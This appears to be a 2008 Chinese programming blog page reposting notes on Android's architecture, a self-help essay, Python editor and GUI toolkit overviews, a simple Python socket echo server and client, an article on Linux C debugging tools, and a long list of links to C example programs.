   1.应用程序 Android会附带一些核心的应用程序, 包括一个email客户端, 短信程序, 日历, 地图, 浏览器, 通讯录等.    
   2.所有的应用程序都是由Java语言完成的.  
   3.应用程序框架 开发人员可以跟那些核心应用一样, 拥有访问框架APIs的全部权限. 应用的系结构设计简化了各组件之间的重用;任何应用都可以分发自己的组件, 任何应用也可以使用这些分发的组件(应用的使用方法需遵循框架的安全性约束)。这个机制对用户来说同样适用, 他们也可以替换组件.  

隐藏在每个应用后面的是一套服务和系统, 其中包括:  


   1.一套表现丰富,扩展性很强的View, 通过这些View您可以创建包括list, grid, 文本框, 按钮, 甚至一个嵌入浏览器的应用  
       Content Providers, 通过它可以在某个应用内访问其他应用的数据(例如通讯录), 或者共享自己的数据  
       Resource Manager, 提供对静态资源的访问能力, 例如国际化文本和layout文件  
       Notification Manager, 通过该机制, 所有的应用都可以在状态栏显示自己的提醒信息  
       Activity Manager, 用于管理应用的生命周期, 并且提供了通用的向后导航功能  

    2.库 Android 包含一套C/C++库, 被用于Android 系统中的各种组件中. 这些功能通过Android 应用框架展现给开发人员. 下面列出一些核心库:  

      System C library - 实现了BSD-derived 的标准C系统库(libc), 用于嵌入式的基于Linux的设备  
       Media Libraries - 基于PacketVideo的 OpenCORE; 该库提供了对许多流行的音频和视频格式的播放回放和录制功能, 同样包括静态图片文件, 包括MPEG4, H.264, MP3, AAC, AMR, JPG, 和 PNG 等  
       Surface Manager - 用于管理不同应用对图形显示子系统和2D和3D图形层的访问  
       LibWebCore - 一个时尚的web浏览器引擎, 为Android浏览器和内嵌的web view提供实现  
       SGL - 隐藏的2D图形引擎  
       3D libraries - 基于OpenGL ES 1.0 APIs实现的库; 该库用于3D图形加速或提供高优化的3D软件光栅器  
       FreeType - 位图和向量模式的字体绘制  
       SQLite - 一个强大的, 轻量的关系型数据库引擎, 用于所有的应用  
       Android 运行时 Android包含一组核心库, 提供了Java语言核心库内的大部分功能.  

    3.每一个Android应用运行在自己的进程里, 用该应用自己的Dalvik 虚拟机实例. Dalvik 可以让一个设备高效的运行很多个VM. Dalvik 虚拟机执行Dalvik Executable (.dex)格式的文件, 该格式的文件经过优化 占用很小的内存. 该虚拟机是基于存储器的, 运行经过Java语言编译器的类, 这些类通过"dx"工具被转换成.dex格式.  

    4.Dalvik 虚拟机依赖Linux kernel 来实现一些潜在功能, 例如线程和底层内存管理.  
     
    5.Linux Kernel Android基于Linux version 2.6内核来提供系统的核心服务, 例如安全机制, 内存管理, 进程管理, 网络堆栈和驱动模块. 该内核还扮演着一个虚拟的中间层, 该层介于硬件和其余的软件堆栈.  
posted @ 2008-03-26 10:13 MEYE 阅读(1053) | 评论 (0)编辑 收藏
http://www.5xue.com/modules/wordpress/?p=213
成功八大资源:请在35岁前搞掂

一切成功都是“一三五八成功模式”,这是《一生的保证》这本书的核心脉络,也是我八年研究成功学得出的结论,那些成功的人没有谁离开了这模式。那么“八”是什么呢?
人 类的一切设想都必须基于材料来实现,成功也毫无例外需要材料。所谓实现就是转化,成功是什么东西转化来的呢?显然还是物质、能量、信息,因为这世界除此之 外再无别的东西。但是物质、能量、信息是从最基本的哲学层面来说的,它并不具备操作性。你这一辈子可操作的资源不过八种:财富资源、信息资源、能力资源、 品质资源、人际资源、健康资源、时间资源、空间资源。

一、积累财富。金钱不是万能的,没钱是万万不能的,一句话没钱决不会成功。从你降生一刻起,从你喝第一口奶始, 物质就开始左右着你的命运。你的成长、你的教育以及人生的一切收获都是财富投资的结果。在你不能独立之前,财富决定着你,在你独立于社会后,财富影响着 你,即使是成功的人也要为此耗掉半生精力。在这个多变的职业世界里,你不会永远在一个地方工作,在一个岗位上淋漓尽致地发挥自己,当你感到无法施展时,你 会辞职或创业,如果你事先储蓄了足够的钱,将给你的成功奠定坚实的基础。

二、吸收信息。是信息造就了我们人,当然也是信息造就了我们的成功。一切创造、认知、判断都来源于信息,成功就 是不断吸收知识信息变成积木,然后按照你的规则把它搭出来。但我们最最核心的信息是某一专业的系统信息,你必须学会本行业所需要的一切知识并有见解。每个 人在年轻时都可能有过彻夜不眠、刻苦攻读,这在20岁甚或30岁都没有问题,但到了35岁,就不应该再为学习基本技能而大伤脑筋了。35岁应该是专家了, 在学术上差不多是副教授,基本上完成信息的积累,35岁之后就应该勃发了,可惜的是,许多人到四十岁了在本行业还没入门,他们的知识太缺乏系统,缺乏深度 了。

三、训练能力。能力=知识+训练,这是我的一个简化公式,不是心理学上的专业名词解释。掌握知识与智力有关,不 同类型的智力遗传度在35%~96%之间,而且95%以上都是正常的,智商低于70的弱智儿童全人口只占3%,所以我们先天性地就获得巨大资源,但这还不 是一个人全部的心理资源,甚至也不是开发出来的资源。高智商的人解决问题容易一些,但不等于成功就容易一些,世上有多少事非智商180不能做呢?只要智力 正常,就足够成功了,关键有没有把知识发挥出来用到实处的能力。第四章节“十全四美”十四种能力总有某几种是你的优势,你要用得炉火纯青,所谓“样样通样 样松”“一招鲜吃遍天”。十八般武艺你总要精一样,到35岁还不知自己的长处和短处是相当麻烦的,但不管怎样基本能力如表达、沟通、收集信息等每天都要 练。各种能力都极大地依赖于后天锻练与发掘,这才是一个人真正的心理资源,它与外界一切资源一样是取之不尽的,一个人到底能干些什么,谁也不知道,即便是 爱因斯坦也只是用了他潜能的一小部分。

四、磨练品质。也是心理资源的一部分,它渗透到外面的部分就是人格魅力。一个人能不能把八大资源吸引到自己身 上,能否承托起八大资源的负载,又能否把资源用到极至,靠的就是他的品质。俗话说大事做人,做的就是品质。年轻时犯错误,可以说是不成熟,但人家不会说你 品质有问题,当被人说品质有问题时,一辈子都完了。“1358”里的五大品质已经说过了,此不多说,再强调一点到35岁还没有形成风格魅力、人格魅力,下 半子希望不大。

五、扩大人际。资源的配置是不平衡的,你所需要的许多资源都在别人手里,可在他手里并不当作资源,同样你身上闲 置的东西也可能是别人苦苦追寻的东西。社会分工越来越细,任何有价值的工作都不可能由一个人完成。如果到了35岁你仍未建立起牢固的人际关系网,那你就有 麻烦了。这个人际关系网包括你的朋友、亲人、同爱好、同事、行业的骄骄者、新闻媒介等,最低限度包括所有可以互相帮助的人。其中家庭是第一人际关系网,家 庭不保、情感生活不愉快的人很能有大发展。人际关系网不是一朝一夕就能建立起来的,它需要几年甚至十几年的培养,同时也需要终生的维护。臭清高是中国知识 分子的一大悲哀,至到现在还有许多人意识不到自己失败的原因。所有的资源都需要你拿出精力去获取去交换,也就是说资源背后是成本,人际成本是必须花的,甚 至还相当高昂,因为它比任何一种资源带来的回报都大。

六、保持健康。这是支撑我们一辈子的物质和能量资源。五十岁前用健康换金钱,五十岁后用金钱换健康,这是有道理 的。只有健康资源的连续可用,我们的成功才有保证。35岁身体开始走下坡路了,可以说下半辈子都是吃老本,如果没有老本吃,那就完了。考察成功人士,一个 显要特征就是精力充沛,他们把健康资源优势发挥到最大程度。可以说每个人都有深刻的体验,一生病我们所有的愿望都萎缩了,一旦精神好转,我们理想的云帆又 高扬起来。而还有一些人,终因健康资源的断缺而成为悲剧英雄。

七、珍惜时间。时间是老生常谈的两个字,因而也就成了视而不见的资源。一幢大楼,人们只知道它由砂、石、水泥、 钢筋砌成,却不知道还有六个月的时间也砌在里面了,如果只给你一天时间,这个世界将没有大楼。坏就坏在世上没有一天的时间,有的只是无穷无尽的时间,它不 需要再生,而是永生,所以我们不到生命的结束,意识不到它的荒废和飞逝。年轻时你还浪费得起,到35岁你还不能有效地利用时间,还在一切无聊与懒散中,还 在弥补35前的漏洞中,可真危险了。

八、扩展空间。人是动物,动物的优势就是能自由地利用空间。但并不是每个人都能意识到空间是他的资源。以商业为 例,竞争的较量来较量去最后都到空间上来了,国际资本的全球渗透到了空前地步,如果不开放空间,哪有什么跨国公司,哪有什么连锁企业?毫无空间概念、更无 空间资源概念的人,他们在心理上已经注定是没有多少成长要求的人,他们无所谓成长,当然也就无所谓成功。不知您们相不相信,我身边一些35岁的人还没出过 省,他们都是大学毕业哦。

八种资源大致可分对应的四组,它们在同一轴上是同向增减的互动关系,成功资源图也就是成功熵势图,以总面积表示。一切资源都可以相互转化,从图示上 也是如此,增加任何一个轴,增加的都是总面积,都反应在任何一个轴上,反之亦然。但任何资源都不可以相互替代,西谚云:The trouble with being poor is taking up all your time。善哉!金钱可以买时间,但金钱绝不能替代时间,人际可以弥补才能,但决不可以替代才能。资源不是平均分布,要想总面积最大,那就是全面发展的圆 周,可以像车轮一样飞奔,而奇形怪状则很难滚动起来。很多人寄望于一种资源,那就是能力资源里的智力因素,抱有希望或每每埋怨的也都是它,以为只要有了它 就万事大吉了,即使这一种资源也可能只用了五分之一,而其它的七又五分之四资源都被白白浪费了,所以你一生中实际资源利用率是四十分之一,2.5%,这就 是你的成功概率。而成功人士,都是珍惜资源,并且把资源使用到极至的人。摘自黄怀宁《一生的保证》。


posted @ 2008-02-14 17:25 MEYE 阅读(573) | 评论 (0)编辑 收藏

[转:]http://blog.chinaunix.net/u/15586/showart.php?id=473344

推荐几款PYTHON编辑器:
   
    推荐几款不错的python编辑器吧。这里推荐的几个并不是像vim,emacs一类的老牌编辑器,而是主要 针对python的编辑器。在我看来,我所需要的代码编辑器的功能,包括代码折叠,语法高亮,行号显示,代码提示,当然能够你IDE一样加入调试和执行功 能就再好不过了。今晚我介绍几款,这些功能上面参差不齐,希望对有需要的朋友有所帮助。
 1.PythonWinEditor
如果你安装activePython或pywin32模块的话,这个编辑器一般默认情况下都会安装的。pythonwineditor其实非常不错,上述所说的四项功能一应俱全,而且会有调试功能。完全免费,算是这里面不错的选择了。
 2.Editra
 Editra在你安装最新版的wxPython的时候会有选项提示你是否安装,当然你也可以直接从他的站点下载独立安装。这个软件出来时间并不长,但是却很有趣。我说的功能也都有,代码提示功能更是让人喜爱,软件是用python和wxPython完成的,很不错。
 3.KomodoIDE/Editor
 ActiveState 现在专门针对开源脚本语言开发一些不错的应用。KomodoIDE是KomodoEditor的增强版本,当然是收费的,而 KomodoEditor却是免费的。虽然这款软件觉得占用内存比较大,但是软件的代码提示功能让你喜欢。感觉比上述两款的提示功能要强得多。 Editor没有调试和运行功能,而IDE则相对应的有这些功能。不过对于一般用户来讲,Editor也已经够用了。当然如果你想花点银子的话搞IDE的 话,也是物有所值的。
 国内的python大牛limodo出的一个Ulipad,我就不多想介绍了。软件代码自动提示功能并不十分实善,而且感 觉一个编辑器挺占用内存的,这一点并不好,而且色彩上面用太亮眼的绿色在里面,有点难看了。就不太向大家推荐了。开源的世界是一个多彩的世界,你总能从里 面发现一些有趣的东西。我喜欢这些有趣的东西,python把我带来一个新境界,他让我看到更多更有趣的东西。你可以用python完成更多你想要做的 事,而且这一切基本上没有什么不可能的。随着你对这门语言的深入,你会爱上他,在我看来,现在许多应用层上的程序,python都能快速有效的完成,而且 你会觉得他很安全,辅助你思维更加清晰。python和许多语言的理念往往不同,通过C/C++语言,你会觉得你所要的许多功能你所想到的第一件事是怎么 实现这一功能,你想要做一件事,往往需要自己写许多代码就会帮你实现;而python则不同,你想到的一件事是有什么模块可以帮我实现。前两天看见一个T 恤写着“生命短暂,我用python“。是呀,用python不需要费太多的脑子,因为已经帮你想好和做好了你想要实现的功能。你只需要轻松调用就可以 了。用python你不必花费太多的心思在怎么实现上面,而是花更多的心思在问题的解决思路上面。虽然我在07年的11/12月份才开始接触这门语言,但 是,却深深的喜欢上了她。python的世界是自由的,但代码是工整的;python是包容的,可以容纳下你想要的任何功能,我爱开源,我爱 python.



用python进行GUI开发的选择:
用python进行GUI开发的选择

 Python最大的特点就在于她的快速开发功能。作为一种胶水型语言,python几乎可以渗透在我们编程过程中的各个领域。这里我简单介绍一下用python进行gui开发的一些选择。
 1.Tkinter
 Tkinter 似乎是与tcl语言同时发展起来的一种界面库。tkinter是python的配备的标准gui库,也是opensource的产物。Tkinter可用 于windows/linux/unix/macintosh操作系统,而且显示风格是本地化的。Tkinter用起来非常简单,python自带的 IDLE就是采用它写的。除此外,tkinter的扩展集pmw和Tix功能上都要相对它强大,但tkinter却是最基本的。我认为,在用python 做gui开发,tkinter是最基本的知识,所以这个环节是必须要学习的。你或许在以后的开发中并不常用tkinter,但是一些小型的应用上面,他还 是很有用的,而且开发速度也很快。
 2.WxPython
 WxWidgets应该算是近几年了比较流行的GUI跨平台开发技术了。 wxWidgets有不同的版本应用,有c++的,也有basic的,现在在python上面也有较好的移植。wxpython的功能上面要强于 tkinter,她提供了超过200个类,面向对象的编程风格,设计的框架类似于MFC。对于大型GUI应用上面,wxPython还是具有很强的优势 的。boa constructor可以帮助我们快速可视地构建wxwidgets界面。
 3.PyQT
 Qt同样是一种开源的GUI库,Qt的类库大约在300多个,函数大约在5700多个。Qt同样适合于大型应用,由它自带的qt designer可以让我们轻松来构建界面元素。
 4.pyGtk
 Gtk是linux下Gnome的核心开发库了。功能上面非常齐全。值得说明的是,在windows平台下gtk的显示风格并不是特别本地化。不过他带的glade的界面设计器还是可以帮你省不少事的。
 5.Jython
  尝试过用python访问java类库吗,那么就用jython吧。jython其实可以认为是另外一个python开发环境,基于java的,但是大多 数的CPython调用jython下还是可以的。你可以在jython环境下像使用java一样来通过python的语法来调用java语言,真的很 酷。
 6.MFC
 Windows Pywin32允许你像VC一样的形式来使用PYTHON开发win32应用。代码风格可以类似win32 sdk,也可以类似MFC,由你选择。如果你仍不放弃vc一样的代码过程在python下,那么这就是一个不错的选择。
 7.PythonCard
 PythonCard其实是对wxPython的再封装。不过封装的更加简单,使用起来觉得比wxPython更直观,也更简单化了。
 8.Dabo
 仍是一个基于wxpython的再封装库,没用过,不太了解。它提供数据库访问,商业逻辑以及用户界面。
 9.AnyGui
 通过底层的api来访问其它工具集,像tkinter,wxpython和qt.具体也没怎么用过。
 10.WPY
 MFC风格的Gui开发库,代码风格也类似于MFC,仅管如此,你依旧可以使用这个库来开发GUI应用,而不用担心平台移植的问题。她同样是一个跨平台的库。
 11.IronPython
  如果你要想开发.net下面的应用的话,那么IronPython就是你的选择,与jython有点类似,他同样支持标准的python模块,但同样增加 了对.net库的支持。你也可以理解为他是另一个python开发环境。你可以非常方便地使用python语法进行.net应用的开发,这一点听起来真的 挺有意思。
 总之,介绍了这么多,我个人意见是,如果你是java用户,那么你就用jython吧,除了可以享受python的模块功能及语法 外,你可以找到许多java的影子;如果你是.net用户,那么就用iron python吧。如果你对Visual C++很熟悉,那么你可以使用MFC,WPY或是wxPython,当然我更建议wxPython了。当然,我认为对于tkinter是每一个原来搞C的 人都应该了解和学习的GUI库,因为她很轻便,小型应用就可以使用她来搞定,而对于较大型应用可以采用pyGtk,pyQt,WxPython或 PythonCard来搞定,这样的话,既可以注重知识的衔接性,也可以快速进行软体的开发了。



基于Python的socket编程[原] 服务端:

#socket server端
#获取socket构造及常量
from socket import *
#''代表服务器为localhost
myHost = ''
#在一个非保留端口号上进行监听
myPort = 50007

#设置一个TCP socket对象
sockobj = socket(AF_INET, SOCK_STREAM)
#绑定它至端口号
sockobj.bind((myHost, myPort))
#监听,允许5个连结
sockobj.listen(5)

#直到进程结束时才结束循环
while True:
    #等待下一个客户端连结
    connection, address = sockobj.accept( )
    #连结是一个新的socket
    print 'Server connected by', address
    while True:
        #读取客户端套接字的下一行
        data = connection.recv(1024)
        #如果没有数量的话,那么跳出循环
        if not data: break
        #发送一个回复至客户端
        connection.send('Echo=>' + data)
    #当socket关闭时eof    
    connection.close( )

客户端:


import sys
from socket import *
serverHost = 'localhost'
serverPort = 50007

#发送至服务端的默认文本
message = ['Hello network world']
#如果参数大于1的话,连结的服务端为第一个参数
if len(sys.argv) > 1:
    serverHost = sys.argv[1]
    #如果参数大于2的话,连结的文字为第二个参数
    if len(sys.argv) > 2:
        message = sys.argv[2:]

#建立一个tcp/ip套接字对象
sockobj = socket(AF_INET, SOCK_STREAM)
#连结至服务器及端口
sockobj.connect((serverHost, serverPort))

for line in message:
    #经过套按字发送line至服务端
    sockobj.send(line)
    #从服务端接收到的数据,上限为1k
    data = sockobj.recv(1024)
    #确认他是引用的,是'x'
    print 'Client received:', repr(data)

#关闭套接字
sockobj.close( )




posted @ 2008-02-04 11:42 MEYE 阅读(951) | 评论 (0)编辑 收藏

Linux 平台上的C语言调试工具!

Debugging Tools for C on Linux Platform
http://www.linuxgazette.com/node/view/8755

Submitted by Nikhil Bhargava on Tue, 02/17/2004 - 14:37. Articles | General Interest
This article talks about debugging tools for applications in C on Linux platforms. Most of the tools are freely available on all major platforms with very wide user support. The tools help in static analysis of code as well as assist in dynamic evaluation of code.

Please note that tools listed here are suggestions of the author. This list is not a standard one. Changes have to be done in it depending upon the nature, scope and details of the application to be developed.
Debugging Tools


1. Dmalloc http://dmalloc.com/

The debug memory allocation or Dmalloc library is a freeware debugging tool which has been specially designed as a drop in replacement for the system's malloc, realloc, calloc, free and other memory management routines while providing powerful debugging facilities configurable at runtime. It makes changes during compile time and donot add runtime changes in binary. These facilities include such things as memory-leak tracking, fence-post write detection, file/line number reporting, and general logging of statistics. The library is reasonably portable having been run successfully on at least the following operating systems: AIX, BSD/OS, DG/UX, Free/Net/OpenBSD, GNU/Hurd, HPUX, Irix, Linux, MS-DOG, NeXT, OSF, SCO, Solaris, SunOS, Ultrix, Unixware, Windoze, and even Unicos on a Cray T3E. It has full support for programs the debugging of POSIX threads.

The package includes the library, configuration scripts, debug utility application, test program, and documentation.

2. Valgrind http://valgrind.kde.org/

Valgrind is a GPL distributed system for debugging and profiling x86-Linux programs. I can also be helpful for programs for platforms other than x86 since behavior of x86 binary is similar to other binaries. The accompanying tools with Valgrind automatically detect many memory management and threading bugs, avoiding hours of frustrating bug-hunting, making programs more stable. It supports a through detailed profiling to help speed up the programs.

The Valgrind distribution includes four tools: two memory error detectors, a thread error detector, and a cache profiler.

3. Electricfence http://rpmfind.net/linux/RPM/conecti...-2cl.i386.html

Electric Fence is a freeware library that can be used for C programming and debugging. It can be linked at compile time and it will warn about possible problems such as freeing memory that doesn't exist, etc. It is basically a memory profiling tool. However currently it is available only on HP-Unix platform (I am not very sure though).

4. GDB http://sources.redhat.com/gdb

This is the Gnome Debugger which comes as a freeware support package with freeware Linux distribution like Red Hat, Slacware, and Debian etc. It has full support of many languages like C, C++, and Perl etc. It helps to debug the binaries of these languages in modes like single step, multiple step or complete run. It also has provisions of setting break points and trace value.

It is helpful for stub testing, functional flow checking and bound checking. Further this is readily available with all flavours of Linux andUnix platforms and is amply supported in user community.

5. Insight http://sources.redhat.com/insight

Insight is a graphical user interface to GDB, the GNU Debugger written in Tcl/Tk by at Red Hat, Inc. and Cygnus Solutions Insight provides all features provided by GDB along with Graphical debugging interface replacing traditional command based interface.

6. Memprof http://www.gnome.org/projects/memprof

MemProf is a free ware memory Profiling and memory leak detection tool which comes as an addendum to common Linux distributions. It can generate a profile how much memory was allocated by each function in the program. It can scan memory and find blocks that have been allocated but are no longer referenced anywhere (dead code).

MemProf works by pre-loading a library to override the C library's memory allocation functions and does not require recompiling the program. One advantage MemProf has over some other similar tools that are available is that it has a nice GUI front-end and is relatively easy to use.


I am Nikhil Bhargava from Delhi, India. I am a Computer Engineer currently working in C-DOT, India for past one year. Comments and Suggestions are always welcome.


【硬件编程咨询】C语言资料大全

◆经典C源程序100例:http://post.baidu.com/f?kz=8618367

◆时钟的驻留程序:http://post.baidu.com/f?kz=10822377

◆数据结构暨若干经典问题和算法:http://post.baidu.com/f?kz=10922856

◆LIUXUY 磁盘系统源程序:http://post.baidu.com/f?kz=12973347

◆RLE压缩:http://post.baidu.com/f?kz=12592570

◆快速排序:http://post.baidu.com/f?kz=12262349

◆全排列的递归算法:http://post.baidu.com/f?kz=12248706

◆KMP字符串搜索算法:http://post.baidu.com/f?kz=12143581

◆C高效编程四招:http://post.baidu.com/f?kz=13192245

◆无栈非递归二叉树遍历:http://post.baidu.com/f?kz=12394188

◆跟我学NETBSD内核源码:http://post.baidu.com/f?kz=12201581

◆Linux源码:http://post.baidu.com/f?kz=12692827

◆C语言中不定参数的实现http://post.baidu.com/f?kz=19232306

◆一个有关 FreeBSD 的网站:http://post.baidu.com/f?kz=14828500

◆c51系列仿真器:http://post.baidu.com/f?kz=14332652

◆brainf*ck 语言的解释器http://post.baidu.com/f?kz=15998145

◆怎样用c写游戏:http://post.baidu.com/f?kz=5417859

◆本吧游戏编程相关:http://post.baidu.com/f?kz=11867577

◆简单的病毒程序:http://post.baidu.com/f?kz=5558054

◆迷宫游戏:http://post.baidu.com/f?kz=5781985

◆QQ好友管理程序:http://post.baidu.com/f?kz=5071518

◆销售监控程序:http://post.baidu.com/f?kz=6352894

◆简单的仓储管理系统:http://post.baidu.com/f?kz=7316990

◆简单的电话储存系统:http://post.baidu.com/f?kz=7257980

◆模拟电子时钟的程序:http://post.baidu.com/f?kz=7519467

◆计算任意一天是星期几:http://post.baidu.com/f?kz=8329211

◆打印任意月份日历:http://post.baidu.com/f?kz=8880741

◆分类记事本:http://post.baidu.com/f?kz=8154266

◆TC2编程图片处理利器:http://post.baidu.com/f?kz=11163580

◆printf写的游戏:http://post.baidu.com/f?kz=11162185

◆人机对战扑克游戏:http://post.baidu.com/f?kz=11366672

◆俄罗斯方块:http://post.baidu.com/f?kz=12145169

◆俄罗斯方块:http://post.baidu.com/f?kz=16028030

◆文本加密例程:http://post.baidu.com/f?kz=11968123

◆给一行文字设置密码加解密:http://post.baidu.com/f?kz=20205053

◆破解BIOS密码:http://post.baidu.com/f?kz=12230804

◆贪吃蛇1代:http://post.baidu.com/f?kz=30512251

◆完整的贪吃蛇游戏:http://post.baidu.com/f?kz=31119717

◆贪吃蛇:http://post.baidu.com/f?kz=19624003

◆学生成绩系统(C++版) http://post.baidu.com/f?kz=6640660

◆图书馆管理系统http://post.baidu.com/f?kz=22241061

◆图书管理系统http://post.baidu.com/f?kz=17682927

◆万年历http://post.baidu.com/f?kz=17197492

◆判断闰年http://post.baidu.com/f?kz=16137615

◆万年历http://post.baidu.com/f?kz=20493202

◆变化的同心圆http://post.baidu.com/f?kz=18056765

◆通讯录 http://post.baidu.com/f?kz=22775724

◆C语言通讯录(数组):http://post.baidu.com/f?kz=37202204

◆飞机票订购系统http://post.baidu.com/f?kz=21296518

◆又一个计算器:http://post.baidu.com/f?kz=24283347

◆一个级数:http://post.baidu.com/f?kz=16708781

◆四则运算计算器http://post.baidu.com/f?kz=22279483

◆二叉树排序树上实现学生信息管理http://post.baidu.com/f?kz=21436251

◆判断回文字符串:http://post.baidu.com/f?kz=21815959

◆教小学生算术:http://post.baidu.com/f?kz=22322599

◆六籽弹小游戏http://post.baidu.com/f?kz=17637684

◆黑白棋:http://post.baidu.com/f?kz=19624178

◆十个学生的成绩统计:http://post.baidu.com/f?kz=14787745

◆某一天是这一年的第几天:http://post.baidu.com/f?kz=13772082

◆局域网聊天的程序:http://post.baidu.com/f?kz=14413292

◆C编写简单的窗口界面:http://post.baidu.com/f?kz=3388604

◆哈希表实例:http://post.baidu.com/f?kz=13350908

◆随机生成的迷宫游戏:http://post.baidu.com/f?kz=11120413

◆炸弹超人游戏c语言简版:http://post.baidu.com/f?kz=37461531

◆用栈实现的迷宫寻径演示:http://post.baidu.com/f?kz=38578844

◆计算电脑开机时间:http://post.baidu.com/f?kz=38506368

◆C++编一个成绩管理课件:http://post.baidu.com/f?kz=3889433

◆一圈人报数问题问题:http://post.baidu.com/f?kz=3833415

◆又一报数出圈http://post.baidu.com/f?kz=17789700

◆约瑟夫环循环链表 http://post.baidu.com/f?kz=13750140

◆用c编一个分数计算器程序 :http://post.baidu.com/f?kz=3831746

◆命令行计算器:http://post.baidu.com/f?kz=8465088

◆乘法表:http://post.baidu.com/f?kz=11267637

◆学生管理系统:http://post.baidu.com/f?kz=5806073

◆学生成绩管理系统:http://post.baidu.com/f?kz=37076140

◆学生成绩管理系统:http://post.baidu.com/f?kz=5972675

◆学生成绩管理程序(链表):http://post.baidu.com/f?kz=6598859

◆统计学生成绩(8pm版)http://post.baidu.com/f?kz=14787745

◆打印九九表:http://post.baidu.com/f?kz=6059385

◆水仙花数问题:http://post.baidu.com/f?kz=11510377

◆打印2004年日历:http://post.baidu.com/f?kz=6469868

◆八皇后问题:http://post.baidu.com/f?kz=4456709

◆八皇后问题(do熊版):http://post.baidu.com/f?kz=8513222

◆汉诺塔问题:http://post.baidu.com/f?kz=7402377

◆统计不同字符个数:http://post.baidu.com/f?kz=7394163

◆统计单词数行数:http://post.baidu.com/f?kz=8211273

◆查找替换字符串并统计次数:http://post.baidu.com/f?kz=7335032

◆杨辉三角:http://post.baidu.com/f?kz=9299150

◆屏幕中间输出杨辉三角http://post.baidu.com/f?kz=12054232

◆矩阵转置:http://post.baidu.com/f?kz=9882271

◆输出用*组成的三角形:http://post.baidu.com/f?kz=8465901

◆输出一个菱形:http://post.baidu.com/f?kz=11879706

◆输出菱形http://post.baidu.com/f?kz=16465168

◆手把手教你写猜数游戏:http://post.baidu.com/f?kz=11205156

◆abort函数简介:http://post.baidu.com/f?kz=8610596

◆getchar与putchar:http://post.baidu.com/f?kz=7820387

◆scanf 讨论:http://post.baidu.com/f?kz=5305522

◆C语言输入输出讨论:http://post.baidu.com/f?kz=7586045

◆时间函数clock():http://post.baidu.com/f?kz=7867779

◆在规定时段自动关机:http://post.baidu.com/f?kz=7132544

◆getch防止程序运行一闪而过:http://post.baidu.com/f?kz=7360819

◆MALLOC FREE问题:http://post.baidu.com/f?kz=4826280

◆一个连接两个字符串的函数:http://post.baidu.com/f?kz=7958354

◆同一行回显输入字符:http://post.baidu.com/f?kz=5272169

◆整点报时问题:http://post.baidu.com/f?kz=7307517

◆c语言中随机数字应用: http://post.baidu.com/f?kz=3065339

◆怎样获取文件大小:http://post.baidu.com/f?kz=4189689

◆程序得到自已的当前名称:http://post.baidu.com/f?kz=5993842

◆怎么使用清屏:http://post.baidu.com/f?kz=6087210

◆sound()函数为何没有声音:http://post.baidu.com/f?kz=30844221

◆自写trim函数:http://post.baidu.com/f?kz=14226973

◆bioskey(1)的问题:http://post.baidu.com/f?kz=14651579

http://post.baidu.com/f?kz=14536875

◆bioskey这个函数怎么用:http://post.baidu.com/f?kz=15272841

◆CHAR*转为LONG:http://post.baidu.com/f?kz=15054773

◆LONG毫秒转为CHAR*分秒的函数:http://post.baidu.com/f?kz=15140414

◆狐狸找兔子:http://post.baidu.com/f?kz=8729392

◆猴子吃桃:http://post.baidu.com/f?kz=8448705

◆猜数游戏: http://post.baidu.com/f?kz=4215306

◆二分法解方程:http://post.baidu.com/f?kz=7663955

◆同余在数值计算中的应用:http://post.baidu.com/f?kz=6924343

◆多项式相乘:http://post.baidu.com/f?kz=7441950

◆韩信点兵:http://post.baidu.com/f?kz=8203887

◆用C编写的四叶玫瑰曲线:http://post.baidu.com/f?kz=7853365

四叶玫瑰曲线的旋转动画:http://post.baidu.com/f?kz=18656216

◆求n个数的最大公约数:http://post.baidu.com/f?kz=6848849

◆寻找完数:http://post.baidu.com/f?kz=11892209

◆蛇形矩阵算法:http://post.baidu.com/f?kz=12433353

◆圆周率计算:http://post.baidu.com/f?kz=12394522

◆小球称重:http://post.baidu.com/f?kz=12648561

◆整数分解:http://post.baidu.com/f?kz=12582169

◆整数的立方=两整数的平方差:http://post.baidu.com/f?kz=15121585

◆阶乘级数:http://post.baidu.com/f?kz=14601711

◆三点坐标求三角形面积:http://post.baidu.com/f?kz=14679236

◆多项式相乘http://post.baidu.com/f?kz=17157736

◆求pi的怪异程式:http://post.baidu.com/f?kz=14832207

◆歌德巴赫猜想:http://post.baidu.com/f?kz=20011131

◆求最大公约数和最小公倍数http://post.baidu.com/f?kz=15965236

◆3个正整数的最小公倍数http://post.baidu.com/f?kz=17747110

◆求阶乘:http://post.baidu.com/f?kz=19314067

◆输出三数最大值:http://post.baidu.com/f?kz=19023855

◆10000以内的阶乘(do熊版)http://post.baidu.com/f?kz=16446002

◆算法:整数划分问题http://post.baidu.com/f?kz=12582169

◆辗转法求2个数最大公约数http://post.baidu.com/f?kz=16965299

◆算24:http://post.baidu.com/f?kz=17336190

◆100元买100只鸡:http://post.baidu.com/f?kz=14920285

◆COS X曲线http://post.baidu.com/f?kz=16633244

◆矩阵的加减乘运算演示:http://post.baidu.com/f?kz=37953154

◆狐狸找兔子:http://post.baidu.com/f?kz=8729392

◆猴子吃桃:http://post.baidu.com/f?kz=8448705

◆猜数游戏: http://post.baidu.com/f?kz=4215306

◆二分法解方程:http://post.baidu.com/f?kz=7663955

◆同余在数值计算中的应用:http://post.baidu.com/f?kz=6924343

◆多项式相乘:http://post.baidu.com/f?kz=7441950

◆韩信点兵:http://post.baidu.com/f?kz=8203887

◆用C编写的四叶玫瑰曲线:http://post.baidu.com/f?kz=7853365

四叶玫瑰曲线的旋转动画:http://post.baidu.com/f?kz=18656216

◆求n个数的最大公约数:http://post.baidu.com/f?kz=6848849

◆寻找完数:http://post.baidu.com/f?kz=11892209

◆蛇形矩阵算法:http://post.baidu.com/f?kz=12433353

◆圆周率计算:http://post.baidu.com/f?kz=12394522

◆小球称重:http://post.baidu.com/f?kz=12648561

◆整数分解:http://post.baidu.com/f?kz=12582169

◆整数的立方=两整数的平方差:http://post.baidu.com/f?kz=15121585

◆阶乘级数:http://post.baidu.com/f?kz=14601711

◆三点坐标求三角形面积:http://post.baidu.com/f?kz=14679236

◆多项式相乘http://post.baidu.com/f?kz=17157736

◆求pi的怪异程式:http://post.baidu.com/f?kz=14832207

◆歌德巴赫猜想:http://post.baidu.com/f?kz=20011131

◆求最大公约数和最小公倍数http://post.baidu.com/f?kz=15965236

◆3个正整数的最小公倍数http://post.baidu.com/f?kz=17747110

◆求阶乘:http://post.baidu.com/f?kz=19314067

◆输出三数最大值:http://post.baidu.com/f?kz=19023855

◆10000以内的阶乘(do熊版)http://post.baidu.com/f?kz=16446002

